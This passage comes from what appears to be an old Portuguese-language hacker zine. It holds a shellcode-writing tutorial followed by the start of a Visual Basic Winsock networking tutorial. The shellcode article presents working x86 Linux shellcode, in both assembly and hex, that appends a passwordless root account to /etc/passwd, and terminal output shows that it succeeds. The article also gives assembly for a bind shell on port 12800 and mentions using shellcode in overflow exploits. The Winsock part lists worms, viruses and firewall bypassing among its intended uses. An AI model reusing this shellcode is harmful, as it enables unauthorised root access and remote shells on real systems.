%edx ] De posse dessas informações, vamos construir nosso código em assembly. <++> shellcode/asmpasswd.c /* * Protótipo de shellcode em ASM. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmpasswd asmpasswd.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Zera %eax. */ "push $0x647773 \n" /* Movemos toda no string... */ "push $0x7361702F \n" /* ...para o stack. */ "push $0x6374652F \n" /* /etc/passwd */ "mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx: (const char *pathname,... */ "mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */ "mov $0x5, %al \n" /* System Call de open(). */ "int $0x80 \n" /* Cai pro modo kernel. */ "mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */ "push $0x0A68732F \n" /* Movemos... */ "push $0x6E69622F \n" /* ...a outra... */ "push $0x3A746F6F \n" /* ...string... */ "push $0x722F3A3A \n" /* ...novamente... */ "push $0x303A303A \n" /* ...para o... */ "push $0x3A786966 \n" /* ...Stack. */ "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */ "mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */ "xor %edx, %edx \n" /* Zeramos %edx. */ "mov $0x1C, %dl \n" /* Tamanho da string em %edx. */ "mov $0x4, %al \n" /* Nossa amável system call de write(). */ "int $0x80 \n" /* Comece o Show!!! */ "xor %eax, %eax \n" /* Zera %eax. */ "xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */ "mov $0x1, %al \n" /* System Call de exit(). */ "int $0x80 \n" /* Executa tudo. */ ); } <--> shellcode/asmpasswd.c Grandinho né? Apesar do tamanho repare que não foge do padrão dos códigos anteriores. Irei explicar agora algumas passagens que merecem uma certa atenção.: "mov $0x402, %cx \n" Perae, não era pra ter movido as flags O_RDWR|O_APPEND para %cx? Por que no código em C tem o número 1026 no lugar dessas flags? Rapaz, você só irá descobrir se fuçar. Meu código estava prontinho mas não conseguia rodar por causa disso, até que vi num txt o número 3074 no lugar das flags, mas fiquei me perguntando da onde surgiu isso. Bem, eu compilei o programa com as flags normais que queria (O_RDWR|O_APPEND), e debuguei. Vi logo que quando "disassembliei" a função main, a primeira coisa que era passado pro stack eram as flags, suponho que seje por motivos de segurança que as permições do arquivo sejam passadas em primeiro lugar. No meu caso apareceu 0x402 que é 1026 em decimal. Faça isso e comprove na sua máquina. Fuçe muito!!! "mov $0x1C, %dl \n" Calmae! O decimal 30 não é 1E em hexadecimal? Por que está movendo apenas 1C pra %dl? No cpasswd precisamos contar todos os caracteres para que a saída no arquivo seje perfeita (sem sujeiras) e em asm não é diferente. Mas olhe na tabela ascii que existe um códigpo para o "\n"(0A). Com isso, nosso código diminui 2 bytes. =) Vamos se tudo isso vai funcionar. :) root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd asmpasswd.c root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Sim!!! Funciona!!! Vamos sem perder tempo pegar os opcodes!!! :P <++> shellcode/hexapasswd.c /* * Shellcode pronto em hexadecimal. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexapasswd -static hexapasswd.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x68\x73\x77\x64\x00" /* push $0x647773 */ "\x68\x2f\x70\x61\x73" /* push $0x7361702f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x66\xb9\x02\x04" /* mov $0x402,%cx */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x68\x2f\x73\x68\x0a" /* push $0xa68732f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */ "\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */ "\x68\x3a\x30\x3a\x30" /* push $0x303a303a */ "\x68\x66\x69\x78\x3a" /* push $0x3a786966 */ "\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x1c" /* mov $0x1c,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexapasswd.c Atenção nas flags de compilação. Dessa vez precisamos compilar estaticamente para funcionar. Vamos ver: root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd -static hexapasswd.c hexapasswd.c: In function `main': hexapasswd.c:45: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd Tamanho do Shellcode: 6 bytes. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# Sim!!! Funciona!!! :D Opa! Perae! Tem algo errado! Olhem isso: Tamanho do Shellcode: 6 bytes. Impossível um shellcode daquela proporção ter apenas isso. Ahhh, achei o problema: "\x68\x73\x77\x64\x00" /* push $0x647773 */ Aqui está o problema, um NULL byte, um simples null byte que simplesmente faz perder toda a graça de nosso shellcode :(. O tamanho do shellcode foi 6 bytes porque a função strlen() conta os caracteres até encontrar um null byte ('\0') que indica o final da string. E agora? Como resolveremos isso? Isso me deu uma grande dor de cabeça pois preenchi o \x00 com a tabela ascii inteira sem sucesso. Empilhei a string de todos os jeitos possíveis, com caracteres a mais e a menos, mas sem sucesso!!! Então pedi ajuda ao Narcotic e ele me sugeriu que fizesse o seguinte: " - Preenche o último byte com lixo e depois faz um rotacionamento com "shr" para desconsiderá-lo.". Mas como isso? Até que é simples! Confira no código abaixo: <++> shellcode/asmpasswd2.c /* * Protótipo de shellcode em ASM. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmpasswd2 asmpasswd2.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Zera %eax. */ "mov $0x647773FF, %ebx \n" /* Movemos a string para %ebx com lixo (FF). dwsFF */ "shr $0x8, %ebx \n" /* Rotacionamos 8 bits (1 byte) para retiramos o FF. */ "push %ebx \n" /* Jogamos tudo para o stack. */ "push $0x7361702F \n" /* E tudo vai normalmente para o stack. sap/ */ "push $0x6374652F \n" /* cte/ */ "mov %esp, %ebx \n" /* Agora sim jogamos pra %ebx: (const char *pathname,... */ "mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */ "mov $0x5, %al \n" /* System Call de open(). */ "int $0x80 \n" /* Cai pro modo kernel. */ "mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */ "push $0x0A68732F \n" /* Movemos... */ "push $0x6E69622F \n" /* ...a outra... */ "push $0x3A746F6F \n" /* ...string... */ "push $0x722F3A3A \n" /* ...novamente... */ "push $0x303A303A \n" /* ...para o... */ "push $0x3A786966 \n" /* ...Stack. */ "push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */ "mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */ "xor %edx, %edx \n" /* Zeramos %edx. */ "mov $0x1C, %dl \n" /* Tamanho da string em %edx. */ "mov $0x4, %al \n" /* Nossa amável system call de write(). */ "int $0x80 \n" /* Comece o Show!!! */ "xor %eax, %eax \n" /* Zera %eax. */ "xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */ "mov $0x1, %al \n" /* System Call de exit(). */ "int $0x80 \n" /* Executa tudo. */ ); } <--> shellcode/asmpasswd2.c A arquitetura intel trabalha assim mesmo, só podemos jogar até 4 bytes por vez na pilha. Repare que em todos meus códigos eu fiz o possível para sempre empurrar 4 bytes para nunca sobrar um null byte, mas nesse caso não foi possível pois a string "/etc/passwd" não é múltiplo de 4 e sempre sobrará um espaço!!! Quando houver situações como essa podemos preencher o espaço com lixo e apagá-lo com feito acima. Irei explicar melhor: A função open() nos informa de que precisamos ter o arquivo que queremos abrir em %ebx, mas antes precisamos empilhar a string no stack e depois sim, jogar em %ebx. Nessa caso, teremos que isolar a string para rotacionarmos.: "mov $0x647773FF, %ebx \n" Com ela isolada, vamos rotacionar 1 byte. O que o mnemônico "shr" (shift right) faz é rotacionar um quantidade n de bits para a direita, e como precisamos voltar 1 byte, ratacionamos 8 bits afim de se acabar com o FF. :) "shr $0x8, %ebx \n" Com essa alteração feita, agora sim podemos empurrar para o stack. "push %ebx \n" E proseguirmos normalmente com o resto. =) "push $0x7361702F \n" "push $0x6374652F \n" "mov %esp, %ebx \n" É..., o que um null byte não faz a gente fazer? :P Seja como for, sempre há um jeito para sermos bem sucedidos em situações como essa. Agora vamos compilar, testar e debugar! root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd2 asmpasswd2.c root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd2 root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# SIM!!! FUNCIONA!!! Agora vamos a caça dos opcodes! =) <++> shellcode/hexapasswd2.c /* * Shellcode pronto em hexadecimal. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexapasswd2 -static hexapasswd2.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax,%eax */ "\xbb\xff\x73\x77\x64" /* mov $0x647773ff,%ebx */ "\xc1\xeb\x08" /* shr $0x8,%ebx */ "\x53" /* push %ebx */ "\x68\x2f\x70\x61\x73" /* push $0x7361702f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x66\xb9\x02\x04" /* mov $0x402,%cx */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x68\x2f\x73\x68\x0a" /* push $0xa68732f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */ "\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */ "\x68\x3a\x30\x3a\x30" /* push $0x303a303a */ "\x68\x66\x69\x78\x3a" /* push $0x3a786966 */ "\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x1c" /* mov $0x1c,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexapasswd2.c Vamos ver se está certo.: root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static hexapasswd2.c hexapasswd2.c: In function `main': hexapasswd2.c:47: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2 Tamanho do Shellcode: 86 bytes. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash ... ... ... nobody:x:99:99:nobody:/: ip_fix::0:0::/root:/bin/sh root@motdlabs:~/IP_FIX/shellcode# w00w00!!! Sim!!! Perfeito!!! É um pouco grandinho mas funciona, lembrando-se que numa exploração de overflow podemos carregar nosso shellcode na enviroment no sistema ao invés de jogarmos dentro do buffer. ;) Galera, é isso aí... Tinha prometido para muitos que iria colocar uma bindshell aqui (desculpa dns-), mas o que me impossibilitou foi o tempo, justo quando estava terminando a bindshell eu consegui um emprego e como estudo noperíodo da noite fiquei impossibilitado de terminar... Mas abaixo segue o fonte em ASM, mas sem null bytes!!! :) <++> shellcode/asmbind.c /* * Protótipo de shellcode em ASM. * Binda uma shell na porta 12800. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmbind asmbind.c */ #include main() { __asm__( "lea main+32, %edx \n" "call %edx \n" "xor %eax, %eax \n" "xor %ebx, %ebx \n" "mov $0x1, %al \n" "int $0x80 \n" "xor %eax, %eax \n" "mov $0x2, %al \n" "int $0x80 \n" "test %eax, %eax \n" "lea main+54, %edx \n" "jne main+24 \n" "jmp %edx \n" "xor %eax, %eax \n" "xor %ebx, %ebx \n" "mov $0x1, %bl \n" "push %eax \n" "push $0x1 \n" "push $0x2 \n" "mov %esp, %ecx \n" "mov $0x66, %al \n" "int $0x80 \n" "xor %edx, %edx \n" "push %edx \n" "push $0x32 \n" "mov $0x2, %bl \n" "push %bx \n" "mov %esp, %ecx \n" "push $0x10 \n" "push %ecx \n" "push %eax \n" "mov %esp, %ecx \n" "mov $0x66, %al \n" "int $0x80 \n" "not %al \n" "mov $0x4, %bl \n" "mov $0x66, %al \n" "int $0x80 \n" "add $0xc, %esp \n" "push %edx \n" "push %edx \n" "mov $0x5, %bl \n" "mov $0x66, %al \n" "int $0x80 \n" "mov %al, %bl \n" "xor %ecx, %ecx \n" "mov $0x3f, %al \n" "int $0x80 \n" "mov $0x1, %cl \n" "mov $0x3f, %al \n" "int $0x80 \n" "mov $0x2, %cl \n" "mov $0x3f, %al \n" "int $0x80 \n" "xor %eax, %eax \n" "push %eax \n" "push $0x68732F2F \n" "push $0x6E69622F \n" "mov %esp, %ebx \n" "push %eax \n" "push %ebx \n" "mov %esp, %ecx \n" "xor %edx, %edx \n" "mov $0xb, %al \n" "int $0x80 \n" ); } <--> shellcode/asmbind.c Desculpem a falta de comentários, mas terminei um dia antes do lançamento da zine e iria demorar muito para comentas as passagens. Mas prometo a todos que brevemente estarei disponibilizando novamente esse artigo de uma forma mais decente e com mais codes (bindshell melhorada, chroot pra nãofugir do padrão. :) E também codes próprios) e depuração de shellcode enfim, esse txt foi muito corrido no final dele e não deu pra mim se expor como deveria. Peço desculpas a todos e que aguardem novas atualizações. Esses são apenas alguns links com referências sobre shellcode: http://shellcode.org/ http://www.shellcode.com.ar/ http://www.metasploit.com/shellcode.html http://www.enderunix.org/docs/en/sc-en.txt http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html http://www.siforge.org/articles/2004/01/12-shellcode_da_zero.html http://community.core-sdi.com/~juliano http://neworder.box.sk/newsread.php?newsid=10077 http://www.mindsec.com/files/art-shellcode.txt http://www.infosecwriters.com/hhworld/shellcode.txt www.firewalls.com.br/files/shellcode.pdf http://www.phrack.org/phrack/49/P49-14 www.arson-network.com/ index.php?class=tutorial&subargs=479 http://www.firewalls.com.br/files/shellcode.pdf http://www.firewalls.com.br/files/buffer.pdf www.securenet.com.br/artigo.php?artigo=3 www.id3ntlab.hpg.ig.com.br/shellcII.txt http://embranet.com/~fingu/text/shellcode.txt Aqui os principais sobre ASM: http://www.linuxassembly.org/ http://www.w00w00.org/files/articles/att-vs-intel.txt http://webster.cs.ucr.edu/ http://www.arl.wustl.edu/~lockwood/class/cse306/books/artofasm/toc.html http://www-106.ibm.com/developerworks/linux/library/l-ia.html Me desculpem a falta de organização, mas compensarei tudo na versão 2.0 desse artigo. :P Por isso nem finalizei as conclusões, aguarde que em breve estarei disponibilizando isso mais que completo. =) []'s IP_FIX. MSN: everson3000@hotmail.com ICQ: 159834122 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[06]-=[Tutorial Básico de Winsock em VB]-=|vbKeyDel|=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Índice: 1 > Introdução 2 > Adicionando e conhecendo um Winsock 3 > Conectando 4 > CHAT - Toda a comunicação é um Chat 5 > Idéia de Túnel 6 > Contato =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 1: Introdução =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Pré-requisitos básicos: - Para se entender é preciso que haja um mínimo de entendimento de Visual Basic 6... - É obvio que se tenha-o(Visual Basic) para poder praticar - MSWINSCK.OCX em %windir%\system32\ - Também seria interessante ter-se um Sniffer, e com ele "fuçar" e fazer seus próprios testes!, é bem interessante "fuçá-los", com eles é possível fixar de melhor forma os aprendizados aqui citados... Atualmente, a internet vem revolucionando a comunicação de uma forma incrivelmente rápida, prática, eficiente... Creio que quem lê este tutorial espera conter um conhecimento básico para se criar uma comunicação entre computadores, visando inúmeras atividades, como por exemplo: - Criação de programas Proxies - Burlamento de Firewalls - Burlamento de Proxies - Criação de WebBrowser - Criação de Worms - Criação de Vírus - Criação de Chats - Criação de FireWalls - Inúmeras idéias podem surgir de acordo com a criatividade do programador... Mas Querer não é preciso, é Preciso fazer... - "Mas é um 'bicho de 7 cabeças' isso! como faço?" Se você pensa dessa forma, passe a pensar assim: "Um conjunto de simplicidades formam uma complexidade..." Pronto!...Agora confirme e veja como é tão simples! ========================== Observações iniciais =============================== Sempre que eu utilizar este sinal(#), saiba que estou usando ele apenas para separar o código do texto... Sempre que eu utilizar este sinal(-), saiba que estou usando ele apenas para indicar algo que você tenha que fazer... Sempre que eu utilizar este sinal(>>>), saiba que estou usando ele apenas para indicar Atualização de código =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 2: Adicionando e conhecendo um Winsock =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - Abra o VB e crie um formulário!(FORM) - Click com o botão direito do mouse sobre a barra de ferramentas - Click em Components... - Selecione a caixa de checagem: Microsoft Winsock Control 6.0 (no nosso caso) - Aplique - Adicione o novo controle no form, agora ele deve aparecer como o tamanho indimensionável do Controle Timer... Pronto... o Winsock já pode ser utilizado Agora vamos conhecê-lo ------------------------------------------------------------------------------- OBS: Colocarei apenas os itens mais básicos e suficiente para se fazer que quiser ------------------------------------------------------------------------------- Funções: Accept -> Aceita uma conecção esperada Close -> Prepara ou reprepara o Winsock para ser utilizado novamente Connect -> Tenta se conectar com um computador que estaja esperando uma conexão GetData -> Armazena em uma determinada memória o valor atual recebido Listen -> "Escuta", isto é...abre uma porta e espera uma conecção SendData -> Envia uma determinada Mensagem para o Host Conectado Propriedades: Protocol -> pode ser (0 ou sckTCPProtocol) ou (1 ou sckUDPProtocol) LocalHostName -> Nome do seu Host(você) LocalIP -> Seu IP LocalPort -> Sua Porta de escuta RemoteHost -> Host Remoto RemoteHostIP -> IP do Host Remoto RemotePort -> Porta do Host Remoto na qual está sendo usada State -> Estado atual do Componente, que varia de 0 a 9, Listado abaixo os estados Constante -> Valor -> Descrição sckClosed -> 0 -> Padrão, Fechado, preparado para o que precisar sckOpen -> 1 -> Aberto sckListening -> 2 -> Escutando sckConnectionPending -> 3 -> Esperando pronto para Conexão sckResolvingHost -> 4 -> Resolvendo Host sckHostResolved -> 5 -> Host Resolvido sckConnecting -> 6 -> Conectando sckConnected -> 7 -> Conectado sckClosing -> 8 -> Fechando conexão("preparando para preparar conexão") sckError -> 9 -> Erro Eventos: Close -> É Executado toda vez que a conecção fechada, não é executado quando a função close é utilizada... Connect -> É Executado toda vez que uma conexão é estabelecida ConnectionRequest -> É Executado toda vez que tentam se conectar com o seu controle, apenas se o seu controle estiver "escutando"(state = 2 ou state = sckListening) DataArrival -> É executado Toda vez que (quando conectado) receber alguma informação Bom...Agora que já o conhecemo-lo, vamos ao projeto!!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 3: Conectando =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Agora que já temos o controle em nosso formulário vamos fazer um pequeno WebBrowser que é capaz de exibir apenas o código fonte! - Adicione a este formulário um Textbox! - Arrume a propriedade "Name" dele como: "Text1" - Arrume a propriedade "MultLine" para: "True" - Arrume a propriedade "ScrollBars" para: 2 - Arrume a propriedade "Text" para estar vasio - Adicione 1 botão ao formulário - Arrume a propriedade "Name" para: "Command1" - Arrume a propriedade "Caption" para: "&Baixar" - Deixe o Winsock com a propriedade "Name" como "Winsock1" mesmo... Agora arrume o código do botão de tal forma que fique como o mostrado abaixo: # Private Sub Command1_Click() # Winsock1.Connect "home.uol.com.br", 80 # End Sub Bom...Agora click 2 vezes sobre o winsock...Agora Arrume o Evento Connect para ficar como abaixo: # Private Sub Winsock1_Connect() # Dim DadoAEnviar As String # DadoAEnviar = "GET / HTTP/1.1" & vbCrLf # DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf # DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf # DadoAEnviar = DadoAEnviar & vbCrLf # Winsock1.SendData DadoAEnviar # End Sub Agora arrume o Evento DataArrival do winsock1 para ficar como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text1.Text = Text1.Text & X # End Sub Como Isso funciona: Bom... # Private Sub Command1_Click() # Winsock1.Connect "home.uol.com.br", 80 # End Sub Como Já foi dito a função Connect serve para tentar se conectar... Ela funciona da seguinte forma: Connect(Host, Porta) No nosso caso, "pedimos" para o winsock1 tentar se connectar com "home.uol.com.br" pela porta 80 Esta porta 80 serve para comunicação do protocolo HTTP, mas como queremos ver a página temos que fazer nosso pedido após acabarmos de nos conectar... porém, como sabemos que conseguimos nos conectar com sucesso? O Evento Connect do winsock é executado toda vez que conseguimos nos conectar... Graças a isso podemos fazer nosso pedido quando nos conectar da seguinte forma: # Private Sub Winsock1_Connect() # Dim DadoAEnviar As String # DadoAEnviar = "GET / HTTP/1.1" & vbCrLf # DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf # DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf # DadoAEnviar = DadoAEnviar & vbCrLf # Winsock1.SendData DadoAEnviar # End Sub Nosso pedido é um Dado que temos que enviar para o servidor HTTP para ele nos enviar a página... Bom...o Nosso pedido foi o seguinte: (OBS: vbCrLF = Constante equivalente a "Enter") "GET / HTTP/1.1 HOST: home.uol.com.br Accept: */* " OBS: a 1ª Linha pede para o servidor a página inicial de acordo com o protocolo HTTP Versão 1.1 , a 2ª linha confirma o servidor host que contem o nosso pedido , a 3ª linha diz para o servidor que aceitamos qualquer tipo de arquivo... , a 4ª linha, isso mesmo, o enter, é necessário para que o pedido esteja pronto...(exigido pelo protocolo HTTP versão 1.1) Bom...assim que terminamos de colocar todo esse conteúdo na nossa variável DadoAEnvar podemos fazer o pedido: Winsock1.SendData DadoAEnviar Esta função funciona da forma a seguir: SendData(mensagem a enviar) E por fim, agora temos que "saber" receber os dados do nosso Host Remoto(que em nosso caso: home.uol.com.br) Toda vez que recebemos dados do nosso Host Remoto um Evento é executado, este evento é o DataArrival... # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text1.Text = Text1.Text & X # End Sub Para "pegarmos" a informação corrente é preciso que usemos o código a seguir, que armazenará a informação corrente em X: # Winsock1.GetData X Esta função funciona da seguinte forma: GetData (onde será aramazenado o valor corrente) assim que temos a informação temos que concatená-la ao que já "pegamos", para isso concatenamos-la como exibido logo a baixo: # Text1.Text = Text1.Text & X Agora que já entendemos como funciona em código de alto nível, vamos saber como funciona teóricamente essa comunicação pelo winsock em Visual Basic 6; ficaria como mostra abaixo...: 1º Passo: #---------------------------------------------------------# |"Eu"--------------------> Host Remoto | |---------------------------------------------------------| |Mensagem de "Eu" para "Host Temoto": "Posso me conectar?"| #---------------------------------------------------------# 2º Passo(Conectando): #-----------------------------------------------------------------# |"Eu"<-------------------- Host Remoto | |-----------------------------------------------------------------| |Mensagem de "Host Temoto" para "Eu": "Sim, Você pode se conectar"| #-----------------------------------------------------------------# 3º Passo(Fazendo requisição da página): #--------------------------------------------------------------# |"Eu"--------------------> Host Remoto | |--------------------------------------------------------------| |Mensagem de "EU" para "Host Temoto": "Me manda a página então"| #--------------------------------------------------------------# 4º Passo(Espácie de Chat): #---------------------------------------------------------# |"Eu"<-------------------- Host Remoto | |---------------------------------------------------------| |Mensagem de "Host Temoto" para "Eu": "Está aqui a página"| #---------------------------------------------------------# Como assim Chat?!?! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 4: CHAT - Toda a comunicação é um Chat =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Como veremos agora, você entenderá o porque desta comparação que parece-te muito "esquisita"... Imagina se por acaso...você quisesse se conectar, ao invez de um servidor, um computador de algum amigo teu? Como você não precisa de protocolo nenhum para enviar ou receber alguma mensagem, você precisará apenas se conectar...e depois como queremos dar uma utilidade ao enviar uma mensagem, que no caso queremos que ele veja a mensagem, então vamos ao projeto. Mas antes vejamos como o projeto deverá estar... - 1 programa deverá estar rodando em teu computador - 1 programa deverá estar rodando no computador de seu amigo Vamos começar pelo programa que deverá estar rodando em teu computador: - Abra o visual Basic, e etc... - adicione um winsock - adicione 3 botões - adicione 1 timer - adicione 3 textbox - adicione 1 label - Não mude o nome de nenhum controle adicionado, para melhor entendimento de nossos códigos... - Mova o Text3 para ficar próximo do Command1 - Mova o Text1 para ficar próximo do Command2 - Mova o Text2 para ficar de forma maior que os outros controles, pois nele veremos as conversas - Arrume a propriedade "Caption" do Command2 para: "&Enviar" - Arrume a propriedade "Default" dele para: "True" - Arrume a propriedade "Caption" do Command1 para: "&Conectar" - Arrume as propriedades "Text" do Text1, Text2 e Text3 para estarem vazios - Arrume a propriedade "MultiLine" do Text2 para: "True" - Arrume a propriedade "ScollBars" dele para "2 - Vertical" - Arrume a propriedade "Caption" do Label1 para: "Status:" - Deixe-o de tal forma a ser o último item do formulário, estando abaixo de todos os outros controles - Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo) - Arrume o Command3 para estar próximo ao command1 - Arrume a propriedade "Caption" dele para "&Desconectar" Agora vamos ao Código deste programa >>> No evento Timer do Timer1 atualize o código para que fique como abaixo: # Private Sub Timer1_Timer() # Label1.Caption = "Status: " & Winsock1.State # End Sub >>> No Evento Click do Command1 atualize o código para que fique como abaixo: # Private Sub Command1_Click() # On Error GoTo erro # Winsock1.Connect Text3.Text, 120 # Exit Sub # erro: # MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar" # End Sub >>> No Evento Click do Command2 atualize o código para que fique como abaixo: # Private Sub Command2_Click() # On Error GoTo erro # Winsock1.SendData Text1.Text # Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf # Exit Sub # erro: # MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar conectar" # End Sub >>> No Evento Click do Command3 atualize o código para que fique como abaixo: # Private Sub Command3_Click() # Winsock1.Close # End Sub >>> No Evento Connect do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_Connect() # Winsock1.SendData Winsock1.LocalIP & " está conectado!" # Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!" & vbCrLf # End Sub >>> No Evento DataArrival do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf # End Sub Agora vamos ao código do programa que deverá estar rodando na casa de seu amigo... - Arrume a propriedade "LocalPort" e "RemotePort" do Winsock1 para "120" - Faça este novo programa exatamente igual a este anterior...porém sem o command1 e sem o Text3 >>> No Evento ConnectionRequest do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) # Winsock1.Close # Winsock1.Accept requestID # End Sub >>> No Evento Load do Form1 atualize o código para que fique como abaixo: # Private Sub Form_Load() # Winsock1.Listen # End Sub Como tudo isso funciona? -------------------------------------------------------- # Arrume a propriedade "Default" dele para: "True" Toda vez que num Textbox for precionado a tecla 'Enter' será o mesmo que clicar no botão com esta propriedade (OBS: apenas 1 botão por form pode ter a 